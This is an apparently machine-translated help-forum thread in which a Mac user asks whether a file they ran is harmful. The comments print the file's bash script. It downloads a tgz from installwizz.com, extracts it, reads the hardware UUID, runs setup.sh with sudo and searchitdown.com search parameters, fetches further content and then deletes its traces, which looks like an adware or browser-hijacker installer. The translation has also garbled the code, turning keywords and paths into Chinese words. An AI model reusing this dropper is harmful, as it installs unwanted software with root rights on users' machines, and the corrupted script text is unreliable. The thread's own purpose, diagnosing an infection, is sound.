2017-09-07 65 views
0

我点击了一个名为“file”exec的文件。和命令提示符开给我this日志:奇怪的命令提示执行“文件”后执行日志exec

Last login: Thu Sep 7 17:42:18 on ttys000 
Davids-MacBook-Pro:~ David$ /file ; exit; 
logout 
Saving session... 
...copying shared history... 
...saving history...truncating history files... 
...completed. 

[Prozess beendet] 

哦,this是“文件” EXEC的样子在我的硬盘驱动器。

你能告诉我这是什么意思,如果它不好?

谢谢!

回答

0

该文件是作为命令行脚本执行的。你看到的是一个新的终端窗口打开,告诉你什么时候你最后一次使用它,并给出提示“Davids-MacBook-Pro:〜David $”。接下来的位/file ; exit;是执行该文件然后退出shell的shell命令。之后的所有内容(“注销”等)都是shell退出&清理过程。

执行文件和shell退出进程之间没有任何关系,我们可以真正说的是它没有向终端输出任何东西。至于它做了什么,它是否坏,我无法告诉。你可以通过打开终端(你需要一个新的终端窗口,因为该终端已经退出)并且运行命令file /file来获得关于它的格式的信息来获得关于它的更多信息。如果输出包含“文本”,则可以使用cat /file打印文件内容。在你的问题中包括这些命令的输出(作为文本,以“代码”格式),我们可能会告诉你更多。

顺便说一句,当你不知道它们是什么或它们来自哪里时执行文件通常是一个坏主意。

+0

嗨,谢谢你的回答。该文件是一个txt文件(非常长的行),这里是我得到的猫/文件: (第一个块) Davids-MacBook-Pro:〜David $ cat/file #!/ bin/bash func_4 ){ /bin/mkdir -p/var/tmp /usr/bin/curl -s -L -o /var/tmp/sr.tgz“http://c.installwizz.com/static/sr/sr_v2 .tgz“ /usr/bin/tar -xzf /var/tmp/sr.tgz -C/var/tmp cd/var/tmp/dvs mid = $(ioreg -rd1 -c IOPlatformExpertDevice | awk'/ IOPlatformUUID/{split($ 0,line,“\”“); printf(”%s \ n“,line [4]);}') –

+0

2nd chunk: COUNTRY =”DE“ if [”$ COUNTRY“= =“AU”] || [“$ COUNTRY”==“CA”] || [“$ COUNTRY”==“US”] || [“$ COUNTRY”==“NZ”] \ || [ $ COUNTR Y“==”ES“] || [“$ COUNTRY”==“IT”] || [“$ COUNTRY”==“NL”] || [“$ COUNTRY”==“FR”] || [“$ COUNTRY”==“IN”] \ || [“$ COUNTRY”==“DE”];然后 \t sudo ./setup.sh“http://www.searchitdown.com/?n=091&searchsource=55&UM=8&gd=SY1000653”“http://www.searchitdown.com/?n=091&searchsource=69&UM=8&gd = SY1000653“”http://www.searchitdown.com/Results.aspx?n=091&searchsource=58&UM=8&gd=SY1000653“”searchitdown“”upd“ –

+0

3rd chunk: ”http://i.installwizz.com/ c/cc?id =“ fi CLIENT_COMP =”“ if [[! -z“$ CLIENT_COMP”]];然后 \t的/ usr /斌/卷曲-s -L -o /var/tmp/re.txt “http://i.installwizz.com/is/if?i=” 音响 func_taaVqst(){ sleep 220 rm -rf/var/tmp/dvs rm -rf/var/tmp/sr。TGZ } func_taaVqst& } func_4& 大卫 - 的MacBook-Pro的:〜大卫$ –